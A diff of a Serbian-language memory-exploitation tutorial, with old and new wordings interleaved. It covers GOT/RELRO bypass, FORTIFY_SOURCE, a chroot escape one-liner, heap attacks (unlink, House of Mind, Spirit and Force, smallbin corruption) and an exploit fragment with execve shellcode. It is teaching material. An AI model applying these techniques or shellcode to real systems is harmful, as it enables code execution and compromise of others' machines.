-0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so -0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so -0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so -0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so -0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so -0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- -0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] -0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] -gef➤ p fgets -$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets> -gef➤ search-pattern 0x7ffff7e4d100 -[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory -[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r-- -0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]" -``` -Bez relro: -```bash -gef➤ vmmap -Start End Offset Perm Path -0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try -0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try -0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try -0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try -0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try -0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap] -0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so -0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so -0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so -0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so -0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so -0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw- -0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] -0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] -0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so -0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so -0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so -0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so -0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so -0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- -0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] -0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] -gef➤ p fgets -$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets> -gef➤ search-pattern 0x7ffff7e4d100 -[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory -[+] In '/tmp/try'(0x404000-0x405000), permission=rw- -0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]" -``` -Za binarni **bez relro**, možemo videti da je adresa unosa `got` za `fgets` `0x404018`. Pogledom na mapiranje memorije vidimo da se nalazi između `0x404000` i `0x405000`, što ima **dozvole `rw`**, što znači da možemo čitati i pisati u nju. Za binarni **sa relro**, vidimo da je adresa tabele `got` za izvršavanje binarnog fajla (pie je omogućen pa će se ova adresa promeniti) `0x555555557fd0`. U mapiranju memorije tog binarnog fajla nalazi se između `0x0000555555557000` i `0x0000555555558000`, što ima memoriju **dozvole `r`**, što znači da možemo samo čitati iz nje. - -Dakle, šta je **bypass**? Tipičan način zaobilaženja koji koristim je jednostavno ne pisati u memorijske regione koje relro čini samo za čitanje, i **pronaći drugi način za izvršavanje koda**. - -Imajte na umu da bi se ovo desilo, binarni fajl mora unapred znati adrese funkcija: - -* Lenje povezivanje: Adresa funkcije se traži prvi put kada se funkcija pozove. Dakle, GOT mora imati dozvole za pisanje tokom izvršavanja. -* Poveži sada: Adrese funkcija se rešavaju na početku izvršavanja, zatim se daju dozvole samo za čitanje osetljivim sekcijama poput .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\* - -Da biste proverili da li program koristi Poveži sada, možete uraditi: -```bash -readelf -l /proc/ID_PROC/exe | grep BIND_NOW -``` -Kada se binarni fajl učita u memoriju i funkcija se pozove prvi put, skoči se na PLT (Procedure Linkage Table), odakle se vrši skok (jmp) na GOT i otkriva da ta unosa nije rešena (sadrži sledeću adresu iz PLT). Zatim se poziva Runtime Linker ili rtfd da reši adresu i sačuva je u GOT. - -Kada se poziva funkcija, poziva se PLT, koja ima adresu GOT gde je smeštena adresa funkcije, tako da preusmerava tok tamo i poziva funkciju. Međutim, ako je prvi put pozvana funkcija, ono što se nalazi u GOT-u je sledeća instrukcija iz PLT-a, pa tok sledi kod PLT-a (rtfd) i saznaje adresu funkcije, čuva je u GOT-u i poziva. - -Prilikom učitavanja binarnog fajla u memoriju, kompajler mu je rekao na kojem offsetu treba da postavi podatke koji se moraju učitati prilikom pokretanja programa. - -Leno povezivanje —> Adresa funkcije se traži prvi put kada se pozove ta funkcija, tako da GOT ima dozvole za pisanje kako bi se adresa sačuvala tamo kada se traži, i ne mora ponovo da se traži. - -Veži sada —> Adrese funkcija se traže prilikom učitavanja programa i menja se dozvola sekcija .got, .dtors, .ctors, .dynamic, .jcr u samo čitanje. **-z relro** i **-z now** - -Ipak, općenito programi nisu komplikovani s tim opcijama, pa su ovi napadi i dalje mogući. - -**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Da biste saznali da li koriste BIND NOW - -**Fortify Source -D\_FORTIFY\_SOURCE=1 ili =2** - -Pokušava identifikovati funkcije koje kopiraju podatke sa jednog mesta na drugo na nesiguran način i zameniti funkciju sigurnom funkcijom. - -Na primer:\ -char buf\[16];\ -strcpy(but, source); - -Identifikuje je kao nesigurnu i zatim zamenjuje strcpy() sa \_\_strcpy\_chk() koristeći veličinu bafera kao maksimalnu veličinu za kopiranje. - -Razlika između **=1** i **=2** je: - -Druga ne dozvoljava da **%n** dolazi iz sekcije sa dozvolama za pisanje. Takođe, parametar za direktni pristup argumentima može se koristiti samo ako su korišćeni prethodni, tj. može se koristiti samo **%3$d** ako su prethodno korišćeni **%2$d** i **%1$d** - -Za prikazivanje poruke o grešci koristi se argv\[0\], pa ako se postavi adresa druge lokacije (kao globalna promenljiva) u nju, poruka o grešci će prikazati sadržaj te promenljive. Str. 191 - -**Zamena Libsafe** +**Zamena Libsafe-a** Aktivira se sa: LD\_PRELOAD=/lib/libsafe.so.2\ ili\ “/lib/libsave.so.2” > /etc/ld.so.preload -Pozivi nekih nesigurnih funkcija se zamenjuju sigurnijim. Nije standardizovano. (samo za x86, ne za kompilacije sa -fomit-frame-pointer, ne statičke kompilacije, ne sve ranjive funkcije postaju sigurne i LD\_PRELOAD ne radi na binarnim fajlovima sa suid). +Pozivi nekih nesigurnih funkcija se zamenjuju sigurnijim. Nije standardizovano. (samo za x86, ne za kompilacije sa -fomit-frame-pointer, ne statičke kompilacije, ne sve ranjive funkcije postaju sigurne i LD\_PRELOAD ne radi sa binarnim fajlovima sa suid). **ASCII Armored Address Space** -Sastoji se od učitavanja deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zapravo ne zaustavlja skoro nijedan napad, a posebno ne u little endian sistemu. +Sastoji se u učitavanju deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zaista ne zaustavlja skoro nijedan napad, a posebno ne u little endian. -**ret2plt** +**Ret2plt** -Sastoji se od izvođenja ROP-a tako da se pozove funkcija strcpy@plt (iz plt-a) i usmeri se ka unosi u GOT-u i kopira prvi bajt funkcije koja se želi pozvati (system()). Zatim se isto radi usmeravajući se ka GOT+1 i kopira se 2. bajt system()... Na kraju se poziva adresa sačuvana u GOT-u koja će biti system() - -**Lažni EBP** - -Za funkcije koje koriste EBP kao registar za upućivanje argumenata, prilikom modifikacije EIP-a i upućivanja na system(), takođe se mora modifikovati EBP da upućuje na memorijsku lokaciju koja ima 2 proizvoljna bajta, a zatim na adresu &”/bin/sh”. +Sastoji se u izvođenju ROP-a tako da se pozove funkcija strcpy@plt (iz plt-a) i usmeri se ka ulazu u GOT i kopira prvi bajt funkcije koja se želi pozvati (system()). Zatim se isto radi usmeravajući se ka GOT+1 i kopira se drugi bajt system()... Na kraju se poziva sačuvana adresa u GOT koja će biti system() **Kavezi sa chroot()** debootstrap -arch=i386 hardy /home/user —> Instalira osnovni sistem u određeni poddirektorijum -Administrator može izaći iz ovih kaveza koristeći: mkdir foo; chroot foo; cd .. +Administrator može izaći iz ovih kaveza tako što će uraditi: mkdir foo; chroot foo; cd .. **Instrumentacija koda** @@ -593,61 +310,8 @@ Valgrind —> Traži greške\ Memcheck\ RAD (Return Address Defender)\ Insure++ - -## **8 Heap Overflow: Osnovni eksploiti** - -**Dodeljeni blok** - -prev\_size |\ -size | —Zaglavlje\ -\*mem | Podaci - -**Slobodan blok** - -prev\_size |\ -size |\ -\*fd | Ptr naprednog bloka\ -\*bk | Ptr nazadnog bloka —Zaglavlje\ -\*mem | Podaci - -Slobodni blokovi su u dvostruko povezanoj listi (bin) i nikada ne smeju postojati dva slobodna bloka zajedno (spajaju se) - -U "size" postoje bitovi koji pokazuju: Da li je prethodni blok u upotrebi, da li je blok dodeljen putem mmap() i da li blok pripada primarnoj areni. - -Ako se oslobodi blok i neki od susednih blokova je slobodan, oni se spajaju pomoću makroa unlink() i novi, veći blok se prosleđuje frontlink() da ga ubaci u odgovarajući bin. - -unlink(){\ -BK = P->bk; —> BK novog bloka je onaj koji je imao prethodno slobodan blok\ -FD = P->fd; —> FD novog bloka je onaj koji je imao prethodno slobodan blok\ -FD->bk = BK; —> BK sledećeg bloka pokazuje na novi blok\ -BK->fd = FD; —> FD prethodnog bloka pokazuje na novi blok\ -} - -Dakle, ako uspemo da promenimo P->bk sa adresom shell koda i P->fd sa adresom unosa u GOT ili DTORS manje 12, postiže se: - -BK = P->bk = \&shellcode\ -FD = P->fd = &\_\_dtor\_end\_\_ - 12\ -FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode - -I tako se izvršava shell kod prilikom izlaska iz programa. - -Takođe, 4. izjava unlink() piše nešto i shell kod mora biti prilagođen za ovo: - -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Ovo uzrokuje pisanje 4 bajta od 8. bajta shell koda, tako da prva instrukcija shell koda mora biti skok kako bi preskočila ovo i prešla na nops koji vode do ostatka shell koda. - -Stoga se eksploit kreira: - -U bafer1 ubacujemo shell kod počevši od skoka kako bi prešao na nops ili na ostatak shell koda. - -Nakon shell koda ubacujemo punjenje dok ne dođemo do polja prev\_size i size sledećeg bloka. Na ovim mestima ubacujemo 0xfffffff0 (tako da se prev\_size prepisuje da ima bit koji kaže da je slobodan) i “-4“(0xfffffffc) u size (da bi prilikom provere u 3. bloku da li je 2. bio slobodan zapravo otišao na modifikovan prev\_size koji će reći da je slobodan) -> Tako kada free() istražuje, ići će na size 3. ali će zapravo ići na 2. - 4 i misliće da je 2. blok slobodan. Tada će pozvati **unlink()**. - -Pozivom unlink() koristiće kao P->fd prve podatke 2. bloka, pa će tamo biti ubačena adresa koju želite da prepišete - 12 (jer će u FD->bk dodati 12 adresi sačuvanoj u FD). I na toj adresi će se uneti druga adresa koja se nalazi u 2. bloku, koja će biti adresa shell koda (lažni P->bk). - -**from struct import \*** - -**import os** - **shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bajtova punjenja** + **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** **"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** @@ -658,27 +322,27 @@ Pozivom unlink() koristiće kao P->fd prve podatke 2. bloka, pa će tamo biti ub **fake\_size = pack("\ Vraća pokazivač na adresu na kojoj počinje chunk (me … -ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1] +ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for_ptr(ptr)->ar\_ptr:\&main\_arena \[1] … @@ -740,9 +404,9 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr } -U \[1] proverava se polje size bit NON\_MAIN\_ARENA, koje se može promeniti da bi provera vratila tačno i izvršila heap\_for\_ptr() koja vrši and na "mem" ostavljajući 0 poslednjih 2.5 bajta (u našem slučaju od 0x0804a000 ostavlja 0x08000000) i pristupa 0x08000000->ar\_ptr (kao da je struktura heap\_info) +U \[1] proverava se polje size bit NON\_MAIN_ARENA, koje se može promeniti da bi provera vratila tačno i izvršila heap\_for_ptr() koja vrši and na "mem" ostavljajući 0 poslednjih 2.5 bajtova (u našem slučaju od 0x0804a000 ostavlja 0x08000000) i pristupa 0x08000000->ar\_ptr (kao da je struktura heap\_info) -Na ovaj način, ako možemo kontrolisati chunk na primeru 0x0804a000 i treba osloboditi chunk na **0x081002a0** možemo doći do adrese 0x08100000 i upisati šta god želimo, na primer **0x0804a000**. Kada se ovaj drugi chunk oslobodi, heap\_for\_ptr(ptr)->ar\_ptr će vratiti ono što smo upisali na 0x08100000 (jer se primenjuje and na 0x081002a0 koji smo videli ranije i odatle se izvlači vrednost prvih 4 bajta, ar\_ptr) +Na ovaj način, ako možemo kontrolisati chunk na primer na 0x0804a000 i treba osloboditi chunk na **0x081002a0** možemo doći do adrese 0x08100000 i upisati šta god želimo, na primer **0x0804a000**. Kada se ovaj drugi chunk oslobodi, naći će da heap\_for_ptr(ptr)->ar\_ptr vraća ono što smo upisali na 0x08100000 (jer se primenjuje and na 0x081002a0 koji smo videli ranije i odatle se izvlači vrednost prvih 4 bajta, ar\_ptr) Na taj način se poziva \_int\_free(ar\_ptr, mem), odnosno **\_int\_free(0x0804a000, 0x081002a0)**\ **\_int\_free(mstate av, Void\_t\* mem){**\ @@ -756,27 +420,27 @@ fwd->bk = p; ..} -Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što pišemo u chunk koji će se osloboditi. +Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što pišemo u chunku koji će biti oslobođen. Kako je definisano unsorted\_chunks, znamo da:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; -Dakle, ako u av->bins\[2] upišemo vrednost \_\_DTOR\_END\_\_-12, u poslednjoj instrukciji će se upisati u \_\_DTOR\_END\_\_ adresa drugog chunk-a. +Stoga, ako u av->bins\[2] upišemo vrednost \_\_DTOR\_END\_\_-12, u poslednjoj instrukciji će biti upisana vrednost u \_\_DTOR\_END\_\_ adresa drugog chunka. -Drugim rečima, u prvom chunk-u na početku treba staviti adresu \_\_DTOR\_END\_\_-12 mnogo puta jer će av->bins\[2] to izvući +Drugim rečima, u prvom chunku moramo na početak staviti adresu \_\_DTOR\_END\_\_-12 mnogo puta jer će av->bins\[2] to izvući odatle -Na adresi na koju padne adresa drugog chunk-a sa poslednjih 5 nula treba upisati adresu ovog prvog chunk-a kako bi heap\_for\_ptr() mislio da je ar\_ptr na početku prvog chunk-a i izvukao av->bins\[2] odatle +Na adresi na koju padne adresa drugog chunka sa poslednjih 5 nula treba upisati adresu ovog prvog chunka kako bi heap\_for_ptr() mislio da je ar\_ptr na početku prvog chunka i izvukao av->bins\[2] odatle -U drugom chunk-u, zahvaljujući prvom, prepisujemo prev\_size sa jump 0x0c i size sa nečim da aktivira -> NON\_MAIN\_ARENA +U drugom chunku i zahvaljujući prvom, prepisujemo prev\_size sa jump 0x0c i size sa nečim da aktivira -> NON\_MAIN_ARENA -Zatim u drugom chunk-u stavljamo gomilu nops i na kraju shellcode +Zatim u drugom chunku stavljamo gomilu nops i na kraju shellcode -Na taj način će se pozvati \_int\_free(TROZO1, TROZO2) i pratiti instrukcije za upisivanje u \_\_DTOR\_END\_\_ adresu prev\_size TROZO2 koji će skočiti na shellcode. +Na taj način će se pozvati \_int\_free(CHUNK1, CHUNK2) i pratiti instrukcije za upisivanje u \_\_DTOR\_END\_\_ adresu prev\_size CHUNK2 koji će skočiti na shellcode. +Da bi se primenila ova tehnika, potrebno je da se ispune nekoliko zahteva koji malo komplikuju payload. -Za primenu ove tehnike potrebno je da se ispune još neki zahtevi koji malo komplikuju payload. -Ova tehnika više nije primenjiva jer je gotovo isti zakrpa primenjen kao i za unlink. Upoređuju se da li novi sajt na koji se pokazuje takođe pokazuje na njega. +Ova tehnika više nije primenjiva jer je gotovo isti zakrpa primenjena kao i za unlink. Upoređuju se da li novi sajt ka kojem se pokazuje takođe pokazuje na njega. **Fastbin** @@ -796,23 +460,23 @@ Na ovaj način, ako se postavi u "fb", daje adresu funkcije u GOT-u, na ovu adre S obzirom da smo sa The House of Mind videli da mi kontrolišemo poziciju av. -Zato, ako u polje size stavimo veličinu 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() će nam vratiti fastbins\[-1], koji će pokazivati na av->max\_fast +Zato, ako u polje size stavimo veličinu 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() će vratiti fastbins\[-1], koji će pokazivati na av->max\_fast U ovom slučaju av->max\_fast će biti adresa koja će biti prebrisana (ne na koju pokazuje, već ta pozicija će biti prebrisana). -Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 8, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, treba staviti na početak jmp koji će pasti na nops). +Takođe, mora se ispuniti uslov da susedni deo oslobođenog treba da bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 8, u ovom lažnom delu treba samo staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, treba staviti na početak jmp koji će pasti na nops). -Takođe, isti lažni deo mora biti manji od av->system\_mem. av->system\_mem je udaljen 1848 bajtova. +Takođe, isti lažni deo treba da bude manji od av->system\_mem. av->system\_mem je udaljen 1848 bajtova. -Zbog nula iz \_DTOR\_END\_ i malog broja adresa u GOT-u, nijedna adresa iz ovih sekcija nije pogodna za prebrisivanje, pa pogledajmo kako primeniti fastbin za napad na stek. +Zbog nula iz \_DTOR\_END\_ i malog broja adresa u GOT-u, nijedna adresa iz ovih sekcija nije pogodna za prebrisavanje, pa pogledajmo kako primeniti fastbin za napad na stek. Još jedan način napada je preusmeravanje **av** ka steku. -Ako promenimo veličinu da bude 16 umesto 8, tada: fastbin\_index() će nam vratiti fastbins\[0] i možemo koristiti ovo da prepišemo stek. +Ako promenimo veličinu da bude 16 umesto 8, tada: fastbin\_index() će vratiti fastbins\[0] i možemo koristiti ovo da prepišemo stek. -Za ovo ne sme biti nikakvih canary vrednosti ili čudnih vrednosti na steku, zapravo moramo biti u ovom slučaju: 4 bajta nula + EBP + RET +Za ovo ne sme biti nikakvih canary vrednosti na steku, zapravo moramo biti u ovom slučaju: 4 bajta nula + EBP + RET -Potrebna su nam 4 bajta nula kako bi **av** bio na ovoj adresi i prvi element **av** je mutex koji mora biti 0. +Potrebno je da **av** bude na ovoj adresi i prvi element **av** je mutex koji mora biti 0. **av->max\_fast** će biti EBP i biće vrednost koja će nam omogućiti da preskočimo ograničenja. @@ -820,31 +484,31 @@ U **av->fastbins\[0]** će se prebrisati sa adresom **p** i biće RET, tako da Takođe, u **av->system\_mem** (1484 bajta iznad pozicije na steku) će biti dovoljno smeća koje će nam omogućiti da preskočimo proveru koja se vrši. -Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 16, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, treba staviti na početak jmp koji će pasti na nops koji idu nakon polja size novog lažnog dela). +Takođe, mora se ispuniti uslov da susedni deo oslobođenog treba da bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 16, u ovom lažnom delu treba samo staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, treba staviti na početak jmp koji će pasti na nops koji idu nakon polja size novog lažnog dela). **The House of Spirit** -U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti promenjen od strane napadača (na primer, da pokazivač bude na steku ispod mogućeg prelivanja promenljive). +U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti promenljiv od strane napadača (na primer, da pokazivač bude na steku ispod mogućeg prelivanja promenljive). -Na taj način, mogli bismo da navedemo da ovaj pokazivač pokazuje gde god želimo. Međutim, ne svako mesto je validno, veličina lažnog dela mora biti manja od av->max\_fast i tačnije jednaka veličini koja će biti tražena u budućem pozivu malloc()+8. Zbog toga, ako znamo da se nakon ovog ranjivog pokazivača poziva malloc(40), veličina lažnog dela mora biti jednaka 48. +Na taj način, mogli bismo da postavimo ovaj pokazivač gde god želimo. Međutim, ne svako mesto je validno, veličina lažnog dela treba da bude manja od av->max\_fast i tačnije jednaka veličini koja će biti tražena u budućem pozivu malloc()+8. Zbog toga, ako znamo da se nakon ovog ranjivog pokazivača poziva malloc(40), veličina lažnog dela treba da bude jednaka 48. -Na primer, ako program pita korisnika za broj, mogli bismo uneti 48 i usmeriti promenljivi pokazivač malloc na sledećih 4 bajta (koji bi mogli pripadati EBP sa srećom, tako da 48 ostaje iza, kao da je veličina zaglavlja). Takođe, adresa ptr-4+48 mora zadovoljiti nekoliko uslova (u ovom slučaju ptr=EBP), tj. 8 < ptr-4+48 < av->system\_mem. +Na primer, ako program pita korisnika za broj, mogli bismo uneti 48 i usmeriti promenljivi pokazivač malloc na sledećih 4 bajta (koji bi mogli pripadati EBP sa srećom, tako da 48 ostaje iza, kao da je veličina zaglavlja). Takođe, adresa ptr-4+48 mora da ispuni nekoliko uslova (u ovom slučaju ptr=EBP), tj. 8 < ptr-4+48 < av->system\_mem. U slučaju da se ovo ispuni, kada se pozove sledeći malloc koji smo rekli da je malloc(40), kao adresi će biti dodeljena adresa EBP. U slučaju da napadač takođe može kontrolisati šta se piše u ovom mallocu, može prebrisati kako EBP tako i EIP sa adresom koju želi. -Mislim da je to zato što kada se oslobodi free() čuvaće se da u adresi koja pokazuje na EBP steka postoji deo veličine savršene za novi malloc() koji se želi rezervisati, pa će mu biti dodeljena ta adresa. +Mislim da je to zato što kada se oslobodi free() će sačuvati da u adresi koja pokazuje na EBP steka postoji deo veličine savršene za novi malloc() koji se želi rezervisati, pa će mu dodeliti tu adresu. **The House of Force** Potrebno je: -* Prekoračenje u delu koje omogućava prebrisivanje wilderness +* Preplavljivanje dela koje omogućava prebrisavanje wilderness * Poziv malloc() sa veličinom definisanom od strane korisnika * Poziv malloc() čiji podaci mogu biti definisani od strane korisnika -Prvo što se radi je prebrisivanje veličine dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaki zahtev za memorijom dovoljno velik biti obrađen u \_int\_malloc() bez potrebe za proširivanjem hipa. +Prvo što se radi je prebrisavanje veličine dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaki zahtev za memorijom dovoljno velik biti obrađen u \_int\_malloc() bez potrebe za proširivanjem hipa. -Drugo je promena av->top kako bi pokazivao na deo memorije pod kontrolom napadača, kao što je stek. U av->top će se staviti \&EIP - 8. +Drugo je promena av->top tako da pokazuje na deo memorije pod kontrolom napadača, kao što je stek. U av->top će se postaviti \&EIP - 8. Mora se prebrisati av->top kako bi pokazivao na deo memorije pod kontrolom napadača: @@ -854,7 +518,7 @@ remainder = chunck\_at\_offset(victim, nb); av->top = remainder; -Victim uzima vrednost adrese trenutnog dela wilderness (trenutni av->top) i remainder je tačno suma te adrese plus količina bajtova tražena od malloc(). Dakle, ako je \&EIP-8 na 0xbffff224 i av->top sadrži 0x080c2788, tada je količina koju moramo rezervisati u kontrolisanom mallocu kako bi av->top pokazivao na $EIP-8 za sledeći malloc() će biti: +Victim uzima vrednost adrese trenutnog dela wilderness (trenutni av->top) i remainder je tačno suma te adrese plus količina bajtova tražena od strane malloc(). Dakle, ako je \&EIP-8 na 0xbffff224 i av->top sadrži 0x080c2788, tada količina koju moramo rezervisati u kontrolisanom mallocu kako bi av->top pokazivao na $EIP-8 za sledeći malloc() će biti: 0xbffff224 - 0x080c2788 = 3086207644. @@ -866,34 +530,34 @@ Važno je znati da veličina novog dela wilderness bude veća od zahteva posledn **Korupcija SmallBin** -Oslobođeni delovi se ubacuju u bin u zavisnosti od njihove veličine. Ali pre nego što se ubace, čuvaju se u unsorted bins. Deo koji je oslobođen ne stavlja se odmah u svoj bin već ostaje u unsorted bins. Zatim, ako se rezerviše novi deo i prethodno oslobođeni može poslužiti, vraća se, ali ako se rezerviše veći deo, oslobođeni deo u unsorted bins se stavlja u odgovarajući bin. +Oslobođeni delovi se ubacuju u bin u zavisnosti od njihove veličine. Ali pre nego što se ubace, čuvaju se u unsorted bins. Deo koji je oslobođen ne ide odmah u svoj bin već ostaje u unsorted bins. Zatim, ako se rezerviše novi deo i prethodno oslobođeni može poslužiti, vraća se, ali ako se rezerviše veći, oslobođeni deo u unsorted bins se stavlja u odgovarajući bin. Da bi se došlo do ranjivog koda, zahtev za memorijom mora biti veći od av->max\_fast (obično 72) i manji od MIN\_LARGE\_SIZE (512). -Ako u binu postoji deo odgovarajuće veličine zahtevanog dela, on se vraća nakon što se odveže: +Ako u binu postoji deo odgovarajuće veličine za zahtev, taj deo se vraća nakon odvezivanja: bck = victim->bk; Pokazuje na prethodni deo, to je jedina informacija koju možemo promeniti. -bin->bk = bck; Predzadnji deo postaje poslednji, u slučaju da bck pokazuje na stek, sledećem rezervisanom delu biće dodeljena ova adresa +bin->bk = bck; Pretposlednji deo postaje poslednji, ako bck pokazuje na stek, sledećem rezervisanom delu će biti dodeljena ta adresa bck->fd = bin; Zatvara se lista tako što ovaj pokazuje na bin Potrebno je: -Rezervišite dva malloc-a, tako da se prvi može preplaviti nakon što je drugi oslobođen i ubačen u svoj bin (tj. rezervisan je malloc veći od drugog dela pre prelivanja) +Reservišu se dva malloc-a, tako da se prvi može preplaviti nakon što je drugi oslobođen i ubačen u svoj bin (tj. rezervisan je malloc veći od drugog dela pre prelivanja) -Malloc rezervisan za adresu koju odabere napadač mora biti pod kontrolom napadača. +Malloc rezervisan za koji će napadač odabrati adresu je pod kontrolom napadača. -Cilj je sledeći, ako možemo preplaviti heap koji ima oslobođen deo ispod i u svom binu, možemo promeniti njegov pokazivač bk. Ako promenimo pokazivač bk i taj deo postane prvi na listi binova i rezervisan je, bin će biti prevaren i reći će mu se da je sledeći deo liste (sledeći koji se nudi) na lažnoj adresi koju smo postavili (na stack ili GOT na primer). Dakle, ako se rezerviše još jedan deo i napadač ima dozvole na njemu, dobiće deo na željenoj poziciji i moći će da piše u njega. +Cilj je sledeći, ako možemo preplaviti heap koji ima oslobođen deo ispod sebe i u svom binu, možemo promeniti njegov pokazivač bk. Ako promenimo pokazivač bk i taj deo postane prvi na listi binova i rezervisan je, bin će biti prevaren i reći će mu se da je sledeći deo liste (sledeći koji se nudi) na lažnoj adresi koju smo postavili (na stack ili GOT na primer). Dakle, ako se rezerviše još jedan deo i napadač ima dozvole na njemu, dobiće deo na željenoj poziciji i moći će da piše u njega. Nakon što se modifikovani deo oslobodi, potrebno je rezervisati deo veći od oslobođenog, tako da modifikovani deo izađe iz unsorted binova i ubaci se u svoj bin. -Kada je u svom binu, vreme je da se promeni pokazivač bk preko prelivanja kako bi pokazivao na adresu koju želimo da prepisujemo. +Kada se nađe u svom binu, vreme je da se promeni pokazivač bk preko prelivanja kako bi pokazivao na adresu koju želimo da prepisujemo. -Dakle, bin mora da sačeka da se pozove dovoljno puta malloc() kako bi se ponovo koristio modifikovani bin i prevario bin tako što će mu se reći da je sledeći deo na lažnoj adresi. Zatim će se dati deo koji nas zanima. +Dakle, bin mora da sačeka da se dovoljno puta pozove malloc() kako bi se ponovo koristio modifikovani bin i prevario bin tako što će mu se reći da je sledeći deo na lažnoj adresi. Zatim će se dati deo koji nas zanima. -Da bi se ranjivost izvršila što je pre moguće, idealno bi bilo: Rezervacija ranjivog dela, rezervacija dela koji će se modifikovati, oslobođenje ovog dela, rezervacija dela većeg od onog koji će se modifikovati, modifikacija dela (ranjivost), rezervacija dela iste veličine kao ranjeno i rezervacija drugog dela iste veličine koji će pokazivati na odabranu adresu. +Da bi se ranjivost izvršila što je pre moguće, idealno bi bilo: Rezervacija ranjivog dela, rezervacija dela koji će se modifikovati, oslobođenje ovog dela, rezervacija dela većeg od onog koji će se modifikovati, modifikacija dela 